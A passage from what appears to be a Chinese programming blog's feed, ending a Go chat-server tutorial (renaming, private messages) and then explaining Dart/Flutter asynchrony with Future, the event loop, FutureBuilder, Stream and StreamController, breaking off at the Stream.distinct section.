</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//名字是否重复
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">OnlineMap</span>[<span style="color:#a6e22e">newName</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">SendMessage</span>(<span style="color:#e6db74">&#34;用户名已被使用！\n&#34;</span>)
</span></span><span style="display:flex;"><span>		} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Lock</span>()
</span></span><span style="display:flex;"><span>			delete(<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">OnlineMap</span>, <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Name</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">OnlineMap</span>[<span style="color:#a6e22e">newName</span>] = <span style="color:#a6e22e">this</span>
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">mapLock</span>.<span style="color:#a6e22e">Unlock</span>()
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">msg</span>) &gt; <span style="color:#ae81ff">4</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">msg</span>[:<span style="color:#ae81ff">3</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;to|&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//私聊功能
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#75715e">//1 获取对方用户名
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#a6e22e">remoteName</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">strings</span>.<span style="color:#a6e22e">Split</span>(<span style="color:#a6e22e">msg</span>, <span style="color:#e6db74">&#34;|&#34;</span>)[<span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">remoteName</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">SendMessage</span>(<span style="color:#e6db74">&#34;消息格式不正确！\n&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">remoteUser</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">OnlineMap</span>[<span style="color:#a6e22e">remoteName</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">SendMessage</span>(<span style="color:#e6db74">&#34;用户名不存在\n&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">content</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">strings</span>.<span style="color:#a6e22e">Split</span>(<span style="color:#a6e22e">msg</span>, <span style="color:#e6db74">&#34;|&#34;</span>)[<span style="color:#ae81ff">2</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">content</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">SendMessage</span>(<span style="color:#e6db74">&#34;空消息无法发送！\n&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">remoteUser</span>.<span style="color:#a6e22e">SendMessage</span>(<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">Name</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;向您发送&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">content</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;\n&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">//2 找到对方user对象
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>		<span style="color:#75715e">//3 发送内容
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">Broadcast</span>(<span style="color:#a6e22e">this</span>, <span style="color:#a6e22e">msg</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//监听当前user的channel，有消息就写入对端客户端
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">this</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">User</span>) <span style="color:#a6e22e">ListenMessage</span>(){
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">msg</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">C</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">this</span>.<span style="color:#a6e22e">conn</span>.<span style="color:#a6e22e">Write</span>([]byte(<span style="color:#a6e22e">msg</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;\n&#34;</span>))
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter 异步全解</title>
      <link>https://weibo.io/2021/11/flutter-async/</link>
      <pubDate>Tue, 09 Nov 2021 21:19:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/flutter-async/</guid>
      <description>一、异步入门 1.1 async和await 这两个关键词的本质是语法糖。例如：
void _increment() async { await Future.delayed(Duration(seconds: 1)); setState((){ _counter++; }); } 等价于：
void _increment() { Future.delayed(Duration(seconds: 1),(){ setState((){ _counter++; }); }); } 或者：
void _increment() { Future.delayed(Duration(seconds: 1)).then( (value) =&amp;gt; setState((){ _counter++; }) ); } ​	这里需要纠正一个误区：就像JS那样，dart的异步操作并非多线程。在dart中，每一个线程都被isolate包裹，它们之间不能共享内存，也就避免了死锁问题，降低了程序复杂度，提升GC的性能。线程之间使用消息队列来通信。
​	一个线程怎么处理等待事件呢？这里就要用到Event Loop机制。内置一个Event Queue和MicroTask Queue，只要MicroTask Queue中还有事件没有处理完，则先处理这里面的事件，而此时EventQueue中的事件一个都不会被执行。使用scheduleMicrotask()来向Microtask Queue添加事件。
void main(){ Future(() =&amp;gt; print(&amp;#39;A&amp;#39;)); print(&amp;#39;B&amp;#39;); } //打印结果：BA ​	这里我们还是要提醒一下，只有在出现需要等待的事件时，EventLoop机制才能发挥作用。如果卡顿是因为计算量过大造成的，那么只有多开几个Isolate（线程）来解决了。
1.2 运行时机 直接运行：Future.sync()、Future.value()、_.then()
Microtask：scheduleMicrotask()、Future.microtask()、_completed.then()
Event：Future()、Future.delayed()
1.3 运行时机举例 直接运行
void main(){ print(&amp;#34;1&amp;#34;); Future.value(func()); print(&amp;#34;3&amp;#34;); } String func(){ print(&amp;#34;2&amp;#34;); return &amp;#34;&amp;#34;; }//输出结果：123 void main(){ print(&amp;#34;1&amp;#34;); Future.</description>
      <content:encoded><![CDATA[<h2 id="一异步入门">一、异步入门</h2>
<h4 id="11-async和await">1.1 async和await</h4>
<p>这两个关键词的本质是语法糖。例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> _increment() <span style="color:#66d9ef">async</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">await</span> Future.delayed(Duration(seconds: <span style="color:#ae81ff">1</span>));
</span></span><span style="display:flex;"><span>  setState((){ _counter<span style="color:#f92672">++</span>; });
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>等价于：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> _increment() {
</span></span><span style="display:flex;"><span>  Future.delayed(Duration(seconds: <span style="color:#ae81ff">1</span>),(){
</span></span><span style="display:flex;"><span>    setState((){ _counter<span style="color:#f92672">++</span>; });
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>或者：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> _increment() {
</span></span><span style="display:flex;"><span>  Future.delayed(Duration(seconds: <span style="color:#ae81ff">1</span>)).then(
</span></span><span style="display:flex;"><span>  	(value) <span style="color:#f92672">=&gt;</span> setState((){ _counter<span style="color:#f92672">++</span>; })
</span></span><span style="display:flex;"><span>  );
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>​		这里需要纠正一个误区：就像JS那样，dart的异步操作并非多线程。在dart中，每一个线程都被isolate包裹，它们之间不能共享内存，也就避免了死锁问题，降低了程序复杂度，提升GC的性能。线程之间使用消息队列来通信。</p>
<p>​		一个线程怎么处理等待事件呢？这里就要用到Event Loop机制。内置一个Event Queue和MicroTask Queue，只要MicroTask Queue中还有事件没有处理完，则先处理这里面的事件，而此时EventQueue中的事件一个都不会被执行。使用<code>scheduleMicrotask()</code>来向Microtask Queue添加事件。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main(){
</span></span><span style="display:flex;"><span>  Future(() <span style="color:#f92672">=&gt;</span> print(<span style="color:#e6db74">&#39;A&#39;</span>));
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#39;B&#39;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//打印结果：BA
</span></span></span></code></pre></div><p>​		这里我们还是要提醒一下，只有在出现需要等待的事件时，EventLoop机制才能发挥作用。如果卡顿是因为计算量过大造成的，那么只有多开几个Isolate（线程）来解决了。</p>
<h4 id="12-运行时机">1.2 运行时机</h4>
<ol>
<li>
<p>直接运行：<code>Future.sync()</code>、<code>Future.value()</code>、<code>_.then()</code></p>
</li>
<li>
<p>Microtask：<code>scheduleMicrotask()</code>、<code>Future.microtask()</code>、<code>_completed.then()</code></p>
</li>
<li>
<p>Event：<code>Future()</code>、<code>Future.delayed()</code></p>
</li>
</ol>
<h4 id="13-运行时机举例">1.3 运行时机举例</h4>
<ol>
<li>
<p>直接运行</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main(){
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;1&#34;</span>);
</span></span><span style="display:flex;"><span>  Future.value(func());
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;3&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">String</span> func(){
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;2&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>}<span style="color:#75715e">//输出结果：123
</span></span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main(){
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;1&#34;</span>);
</span></span><span style="display:flex;"><span>  Future.<span style="color:#66d9ef">sync</span>(()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;2&#34;</span>));
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;3&#34;</span>);
</span></span><span style="display:flex;"><span>}<span style="color:#75715e">//输出结果：123
</span></span></span></code></pre></div></li>
<li>
<p>Event：</p>
<p>以http请求来说：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>http.<span style="color:#66d9ef">get</span>(<span style="color:#e6db74">&#39;www.baidu.com&#39;</span>)
</span></span><span style="display:flex;"><span>  .then((value)<span style="color:#f92672">=&gt;</span>{<span style="color:#66d9ef">null</span>})
</span></span><span style="display:flex;"><span>  .catchError(...);	<span style="color:#75715e">//返回一个Future
</span></span></span></code></pre></div><p>函数返回Future，这里看起来Future是立刻执行的，但实际上要在下一个循环中才会被执行：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Future<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">String</span><span style="color:#f92672">&gt;</span> getFuture(){
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> Future(() <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#34;alice&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main(){
</span></span><span style="display:flex;"><span>  getFuture().then((value)<span style="color:#f92672">=&gt;</span>print(value));
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;hi&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//打印结果：hi alice
</span></span></span></code></pre></div></li>
</ol>
<p>来个大汇总吧：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main(){
</span></span><span style="display:flex;"><span>  Future.delayed(Duration(seconds: <span style="color:#ae81ff">1</span>),() <span style="color:#f92672">=&gt;</span> print(<span style="color:#e6db74">&#34;event 3&#34;</span>));
</span></span><span style="display:flex;"><span>  Future.delayed(Duration.zero, ()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;event 2&#34;</span>));
</span></span><span style="display:flex;"><span>  Future(()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;event 1&#34;</span>));<span style="color:#75715e">//这里的event 1与event 2等价，调换语句顺序，执行顺序也会对应调换
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  
</span></span><span style="display:flex;"><span>  scheduleMicrotask(()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;mtask 1&#34;</span>));
</span></span><span style="display:flex;"><span>  Future.microtask(()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;mtask 2&#34;</span>));
</span></span><span style="display:flex;"><span>  Future.value(<span style="color:#ae81ff">123</span>).then((value)<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;mtask 3&#34;</span>));	<span style="color:#75715e">//_completed.then()
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;main 1&#34;</span>);
</span></span><span style="display:flex;"><span>  Future.<span style="color:#66d9ef">sync</span>(()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;sync 1&#34;</span>));
</span></span><span style="display:flex;"><span>  print(<span style="color:#e6db74">&#34;main 2&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	输出结果：
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		mtask 1
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		mtask 2
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		mtask 3
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		event 2
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		event 1		
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		event 3
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		main 1
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		sync 1
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">		main 2
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">*/</span>
</span></span></code></pre></div><p>最后落下一个会立即执行的<code>_.then()</code>：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Future.delayed(Duration(seconds: <span style="color:#ae81ff">1</span>),() <span style="color:#f92672">=&gt;</span> print(<span style="color:#e6db74">&#34;delayed&#34;</span>))
</span></span><span style="display:flex;"><span>	.then((value){
</span></span><span style="display:flex;"><span>    scheduleMicrotask(()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;micro&#34;</span>));
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;then&#34;</span>);
</span></span><span style="display:flex;"><span>  }).then((value)<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;then 2&#34;</span>));
</span></span><span style="display:flex;"><span><span style="color:#75715e">//结果：delayed then then2 micro
</span></span></span></code></pre></div><h4 id="14-error和whencomplete">1.4 error和whenComplete</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>getFuture()
</span></span><span style="display:flex;"><span>  .then((value)<span style="color:#f92672">=&gt;</span>print(value))
</span></span><span style="display:flex;"><span>  .catchError((err)<span style="color:#f92672">=&gt;</span>print(err))
</span></span><span style="display:flex;"><span>  .whenComplete(()<span style="color:#f92672">=&gt;</span>print(<span style="color:#e6db74">&#34;complete&#34;</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Future<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">String</span><span style="color:#f92672">&gt;</span> getFuture(){
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> Future.error(Exception(<span style="color:#e6db74">&#34;wrong&#34;</span>));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">//wrong complete
</span></span></span></code></pre></div><h2 id="二builder和controller">二、Builder和Controller</h2>
<h4 id="21-futurebuilder">2.1 FutureBuilder</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>body: FutureBuilder(
</span></span><span style="display:flex;"><span>	future: Future.value(<span style="color:#ae81ff">123</span>),
</span></span><span style="display:flex;"><span>  builder: (context, AsyncSnapshot<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">dynamic</span><span style="color:#f92672">&gt;</span> snapshot){
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//snapshot代表最近的状态：未完成、完成、出错
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">if</span>(snapshot.connectionState <span style="color:#f92672">==</span> ConnectionState.waiting){
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> CircularProgressIndicator();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span>(snapshot.connectionState <span style="color:#f92672">==</span> ConnectionState.done){
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span>(snapshot.hasError){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Text(<span style="color:#e6db74">&#34;error&#34;</span>);
</span></span><span style="display:flex;"><span>      } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Text(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>snapshot.data<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>);	<span style="color:#75715e">//data和error只有一个有数据
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//none代表前面设置了future: null，不可能发生；而active设计Stream，暂不考虑
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>   	<span style="color:#66d9ef">throw</span> <span style="color:#e6db74">&#34;should not happen&#34;</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span><span style="color:#75715e">//更加可读
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>body: FutureBuilder(
</span></span><span style="display:flex;"><span>	future: Future.value(<span style="color:#ae81ff">123</span>),
</span></span><span style="display:flex;"><span>  initialData: <span style="color:#ae81ff">72</span>,	<span style="color:#75715e">//未完成时snapshot.data = 72
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  builder: (context, AsyncSnapshot<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">dynamic</span><span style="color:#f92672">&gt;</span> snapshot){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(snapshot.hasError){
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> Icon(Icons.error, size:<span style="color:#ae81ff">80</span>);
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span>(snapshot.hasData){
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> Text(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>snapshot.data<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> CircularProgressIndicator();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>​		值得一提的是，snapshot中的error和data属性只能有一个存在值，如果出错，flutter会先删除原来data中的initialData，再填上对应的error。</p>
<h4 id="22-stream和streambuilder">2.2 Stream和StreamBuilder</h4>
<p>Future负责在以后给我们一个值，而stream则会在以后给我们很多值。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">final</span> future <span style="color:#f92672">=</span> Future.delayed(Duration(seconds: <span style="color:#ae81ff">1</span>), ()<span style="color:#f92672">=&gt;</span><span style="color:#ae81ff">42</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">final</span> stream <span style="color:#f92672">=</span> Stream.periodic(Duration(seconds: <span style="color:#ae81ff">1</span>), (_) <span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">42</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> initialState(){
</span></span><span style="display:flex;"><span>  future.then(...);
</span></span><span style="display:flex;"><span>  stream.listen((event){
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;stream: </span><span style="color:#e6db74">$</span>event<span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>可以使用StreamBuilder监控stream：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>body: StreamBuilder(
</span></span><span style="display:flex;"><span>	stream: stream,
</span></span><span style="display:flex;"><span>  builder: (context, AsyncSnapshot<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">dynamic</span><span style="color:#f92672">&gt;</span> snapshot) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//可以使用switch来判断snapshot.connectionState
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>​		Stream和Future的区别之一就在于，Future是在结束（done）的时候返回一个data或error，而Stream是在active的状态返回一个data或error，而stream一旦处于done状态，那么向stream发送数据就会引发异常。</p>
<h4 id="23-streamcontroller">2.3 StreamController</h4>
<p>形象地说，Stream就像水流，sink就像水龙头（数据来源），StreamController会同时创建这两者：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">final</span> controller <span style="color:#f92672">=</span> StreamController();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>controller.sink.add(<span style="color:#ae81ff">72</span>);<span style="color:#75715e">//添加一个值，数据类型可以混搭
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>controller.sink.addError(<span style="color:#e6db74">&#34;error&#34;</span>);<span style="color:#75715e">//添加错误
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>controller.stream.listen((event) {  });<span style="color:#75715e">//处理事件
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>controller.close();<span style="color:#75715e">//关闭流
</span></span></span></code></pre></div><p>使用StreamBuilder：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>body: StreamBuilder(
</span></span><span style="display:flex;"><span>	stream: controller.stream,		<span style="color:#75715e">//监听controller
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  builder: (context, AsyncSnapshot<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">dynamic</span><span style="color:#f92672">&gt;</span> snapshot) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//可以使用switch来判断snapshot.connectionState
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h4 id="24-streambroadcast">2.4 Stream.broadcast()</h4>
<p>​		一般来说，一个Stream只能被一方监听，同时未被接受的数据会被缓存；反过来说，使用<code>Stream.broadcast</code>创建的广播流可以被多方监听，但未被接受的数据不再会被缓存。</p>
<h2 id="三stream高级操作">三、Stream高级操作</h2>
<h4 id="31-streammap">3.1 Stream.map</h4>
<p>例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>stream: controller.stream.map((event) <span style="color:#f92672">=&gt;</span> event <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span>),
</span></span></code></pre></div><p>上面的代码将会将流中的数据重复两次输出。</p>
<h4 id="32-streamwhere">3.2 Stream.where</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>stream: controller.stream.where((event) <span style="color:#f92672">=&gt;</span> event <span style="color:#66d9ef">is</span> <span style="color:#66d9ef">int</span>),
</span></span></code></pre></div><p>上面的代码只会允许int类型的数据通过。</p>
<h4 id="33-streamdistinct">3.3 Stream.distinct</h4>
